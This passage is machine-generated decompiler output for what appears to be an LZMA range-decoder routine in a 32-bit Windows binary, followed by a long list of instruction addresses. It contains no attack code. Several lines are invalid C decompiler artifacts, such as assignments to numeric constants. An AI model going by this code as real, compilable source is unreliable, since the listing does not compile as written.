												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__ebx = __edx + 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__ebx = __edx + 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}








                                                                                              0x00000000
                                                                                              0x0040697a
                                                                                              0x0040697a
                                                                                              0x0040697e
                                                                                              0x004069a3
                                                                                              0x004069ad
                                                                                              0x00000000
                                                                                              0x00406980
                                                                                              0x00406980
                                                                                              0x00406983
                                                                                              0x00406987
                                                                                              0x0040698a
                                                                                              0x0040698d
                                                                                              0x00406991
                                                                                              0x00406991
                                                                                              0x00406994
                                                                                              0x00406a6e
                                                                                              0x00406a6e
                                                                                              0x00406a75
                                                                                              0x00406a75
                                                                                              0x00406a78
                                                                                              0x00406a7f
                                                                                              0x00406aac
                                                                                              0x00406ab0
                                                                                              0x00406b10
                                                                                              0x00406b13
                                                                                              0x00406b18
                                                                                              0x00406b19
                                                                                              0x00406b1b
                                                                                              0x00406b1d
                                                                                              0x00406b20
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061d1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00000000
                                                                                              0x004061e2
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061eb
                                                                                              0x004061ee
                                                                                              0x004061f1
                                                                                              0x004061f5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061fb
                                                                                              0x004061fe
                                                                                              0x00406200
                                                                                              0x00406201
                                                                                              0x00406204
                                                                                              0x00406206
                                                                                              0x00406207
                                                                                              0x00406209
                                                                                              0x0040620c
                                                                                              0x00406211
                                                                                              0x00406216
                                                                                              0x0040621f
                                                                                              0x00406232
                                                                                              0x00406235
                                                                                              0x00406241
                                                                                              0x00406269
                                                                                              0x0040626b
                                                                                              0x00406279
                                                                                              0x00406279
                                                                                              0x0040627d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x0040626d
                                                                                              0x00406270
                                                                                              0x00406271
                                                                                              0x00406271
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x00406247
                                                                                              0x0040624c
                                                                                              0x0040624c
                                                                                              0x00406255
                                                                                              0x0040625d
                                                                                              0x00406260
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406283
                                                                                              0x00406283
                                                                                              0x00406287
                                                                                              0x00406b33
                                                                                              0x00000000
                                                                                              0x00406b33
                                                                                              0x00406290
                                                                                              0x004062a0
                                                                                              0x004062a3
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a9
                                                                                              0x004062ad
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062af
                                                                                              0x004062b5
                                                                                              0x004062df
                                                                                              0x004062e5
                                                                                              0x004062ec
                                                                                              0x00000000
                                                                                              0x004062ec
                                                                                              0x004062bb
                                                                                              0x004062be
                                                                                              0x004062c3
                                                                                              0x004062c3
                                                                                              0x004062ce
                                                                                              0x004062d6
                                                                                              0x004062d9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040631e
                                                                                              0x00406324
                                                                                              0x00406327
                                                                                              0x00406334
                                                                                              0x0040633c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062f3
                                                                                              0x004062f3
                                                                                              0x004062f7
                                                                                              0x00406b42
                                                                                              0x00000000
                                                                                              0x00406b42
                                                                                              0x00406303
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x00406311
                                                                                              0x00406314
                                                                                              0x00406317
                                                                                              0x0040631c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b9
                                                                                              0x004069bf
                                                                                              0x004069c5
                                                                                              0x004069df
                                                                                              0x004069e2
                                                                                              0x004069e8
                                                                                              0x004069f3
                                                                                              0x004069f3
                                                                                              0x004069f5
                                                                                              0x004069c7
                                                                                              0x004069c7
                                                                                              0x004069d6
                                                                                              0x004069da
                                                                                              0x004069da
                                                                                              0x004069ff
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a01
                                                                                              0x00406a05
                                                                                              0x00406bb4
                                                                                              0x00000000
                                                                                              0x00406bb4
                                                                                              0x00406a11
                                                                                              0x00406a18
                                                                                              0x00406a20
                                                                                              0x00406a23
                                                                                              0x00406a26
                                                                                              0x00406a26
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406344
                                                                                              0x00406346
                                                                                              0x00406349
                                                                                              0x004063ba
                                                                                              0x004063bd
                                                                                              0x004063c0
                                                                                              0x004063c7
                                                                                              0x004063d1
                                                                                              0x00000000
                                                                                              0x004063d1
                                                                                              0x0040634b
                                                                                              0x0040634f
                                                                                              0x00406352
                                                                                              0x00406354
                                                                                              0x00406357
                                                                                              0x0040635a
                                                                                              0x0040635c
                                                                                              0x0040635f
                                                                                              0x00406361
                                                                                              0x00406366
                                                                                              0x00406369
                                                                                              0x0040636c
                                                                                              0x00406370
                                                                                              0x00406377
                                                                                              0x0040637a
                                                                                              0x00406381
                                                                                              0x00406385
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x00406391
                                                                                              0x00406394
                                                                                              0x004063b2
                                                                                              0x004063b4
                                                                                              0x00000000
                                                                                              0x00406396
                                                                                              0x00406396
                                                                                              0x00406399
                                                                                              0x0040639c
                                                                                              0x0040639f
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a4
                                                                                              0x004063a7
                                                                                              0x004063a9
                                                                                              0x004063aa
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x004065e3
                                                                                              0x004065e7
                                                                                              0x00406605
                                                                                              0x00406608
                                                                                              0x0040660f
                                                                                              0x00406612
                                                                                              0x00406615
                                                                                              0x00406618
                                                                                              0x0040661b
                                                                                              0x0040661e
                                                                                              0x00406620
                                                                                              0x00406627
                                                                                              0x00406628
                                                                                              0x0040662a
                                                                                              0x0040662d
                                                                                              0x00406630
                                                                                              0x00406633
                                                                                              0x00406633
                                                                                              0x00406638
                                                                                              0x00000000
                                                                                              0x00406638
                                                                                              0x004065e9
                                                                                              0x004065ec
                                                                                              0x004065ef
                                                                                              0x004065f9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040664d
                                                                                              0x00406651
                                                                                              0x00406674
                                                                                              0x00406677
                                                                                              0x0040667a
                                                                                              0x00406684
                                                                                              0x00406653
                                                                                              0x00406653
                                                                                              0x00406656
                                                                                              0x00406659
                                                                                              0x0040665c
                                                                                              0x00406669
                                                                                              0x0040666c
                                                                                              0x0040666c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406690
                                                                                              0x00406694
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040669a
                                                                                              0x0040669e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066a4
                                                                                              0x004066a6
                                                                                              0x004066aa
                                                                                              0x004066aa
                                                                                              0x004066ad
                                                                                              0x004066b1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406701
                                                                                              0x00406705
                                                                                              0x0040670c
                                                                                              0x0040670f
                                                                                              0x00406712
                                                                                              0x0040671c
                                                                                              0x00000000
                                                                                              0x0040671c
                                                                                              0x00406707
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406728
                                                                                              0x0040672c
                                                                                              0x00406733
                                                                                              0x00406736
                                                                                              0x00406739
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040673c
                                                                                              0x0040673f
                                                                                              0x00406742
                                                                                              0x00406742
                                                                                              0x00406745
                                                                                              0x00406748
                                                                                              0x0040674b
                                                                                              0x0040674b
                                                                                              0x0040674e
                                                                                              0x00406755
                                                                                              0x0040675a
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004067e8
                                                                                              0x004067e8
                                                                                              0x004067ec
                                                                                              0x00406b8a
                                                                                              0x00000000
                                                                                              0x00406b8a
                                                                                              0x004067f2
                                                                                              0x004067f5
                                                                                              0x004067f8
                                                                                              0x004067fc
                                                                                              0x004067ff
                                                                                              0x00406805
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x0040680a
                                                                                              0x0040680d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004063dd
                                                                                              0x004063dd
                                                                                              0x004063e1
                                                                                              0x00406b4e
                                                                                              0x00000000
                                                                                              0x00406b4e
                                                                                              0x004063e7
                                                                                              0x004063ea
                                                                                              0x004063ed
                                                                                              0x004063f1
                                                                                              0x004063f4
                                                                                              0x004063fa
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063ff
                                                                                              0x00406402
                                                                                              0x00406402
                                                                                              0x00406405
                                                                                              0x00406408
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040640e
                                                                                              0x00406414
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040641a
                                                                                              0x0040641a
                                                                                              0x0040641e
                                                                                              0x00406421
                                                                                              0x00406424
                                                                                              0x00406427
                                                                                              0x0040642a
                                                                                              0x0040642b
                                                                                              0x0040642e
                                                                                              0x00406430
                                                                                              0x00406436
                                                                                              0x00406439
                                                                                              0x0040643c
                                                                                              0x0040643f
                                                                                              0x00406442
                                                                                              0x00406445
                                                                                              0x00406448
                                                                                              0x00406464
                                                                                              0x00406467
                                                                                              0x0040646a
                                                                                              0x0040646d
                                                                                              0x00406474
                                                                                              0x00406478
                                                                                              0x0040647a
                                                                                              0x0040647e
                                                                                              0x0040644a
                                                                                              0x0040644a
                                                                                              0x0040644e
                                                                                              0x00406456
                                                                                              0x0040645b
                                                                                              0x0040645d
                                                                                              0x0040645f
                                                                                              0x0040645f
                                                                                              0x00406481
                                                                                              0x00406488
                                                                                              0x0040648b
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406496
                                                                                              0x00406496
                                                                                              0x0040649a
                                                                                              0x00406b5a
                                                                                              0x00000000
                                                                                              0x00406b5a
                                                                                              0x004064a0
                                                                                              0x004064a3
                                                                                              0x004064a6
                                                                                              0x004064aa
                                                                                              0x004064ad
                                                                                              0x004064b3
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b8
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064c1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004064c3
                                                                                              0x004064c6
                                                                                              0x004064c9
                                                                                              0x004064cc
                                                                                              0x004064cf
                                                                                              0x004064d2
                                                                                              0x004064d5
                                                                                              0x004064d8
                                                                                              0x004064db
                                                                                              0x004064de
                                                                                              0x004064e1
                                                                                              0x004064f9
                                                                                              0x004064fc
                                                                                              0x004064ff
                                                                                              0x00406502
                                                                                              0x00406505
                                                                                              0x00406509
                                                                                              0x0040650b
                                                                                              0x004064e3
                                                                                              0x004064e3
                                                                                              0x004064eb
                                                                                              0x004064f0
                                                                                              0x004064f2
                                                                                              0x004064f4
                                                                                              0x004064f4
                                                                                              0x0040650e
                                                                                              0x00406515
                                                                                              0x00406518
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00406518
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040655a
                                                                                              0x0040655a
                                                                                              0x0040655e
                                                                                              0x00406b66
                                                                                              0x00000000
                                                                                              0x00406b66
                                                                                              0x00406564
                                                                                              0x00406567
                                                                                              0x0040656a
                                                                                              0x0040656e
                                                                                              0x00406571
                                                                                              0x00406577
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x0040657c
                                                                                              0x0040657f
                                                                                              0x0040657f
                                                                                              0x00406585
                                                                                              0x00406523
                                                                                              0x00406523
                                                                                              0x00406526
                                                                                              0x00000000
                                                                                              0x00406526
                                                                                              0x00406587
                                                                                              0x00406587
                                                                                              0x0040658a
                                                                                              0x0040658d
                                                                                              0x00406590
                                                                                              0x00406593
                                                                                              0x00406596
                                                                                              0x00406599
                                                                                              0x0040659c
                                                                                              0x0040659f
                                                                                              0x004065a2
                                                                                              0x004065a5
                                                                                              0x004065bd
                                                                                              0x004065c0
                                                                                              0x004065c3
                                                                                              0x004065c6
                                                                                              0x004065c9
                                                                                              0x004065cd
                                                                                              0x004065cf
                                                                                              0x004065a7
                                                                                              0x004065a7
                                                                                              0x004065af
                                                                                              0x004065b4
                                                                                              0x004065b6
                                                                                              0x004065b8
                                                                                              0x004065b8
                                                                                              0x004065d2
                                                                                              0x004065d9
                                                                                              0x004065dc
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x0040686b
                                                                                              0x0040686b
                                                                                              0x0040686f
                                                                                              0x00406b96
                                                                                              0x00000000
                                                                                              0x00406b96
                                                                                              0x00406875
                                                                                              0x00406878
                                                                                              0x0040687b
                                                                                              0x0040687f
                                                                                              0x00406882
                                                                                              0x00406888
                                                                                              0x0040688a
                                                                                              0x0040688a
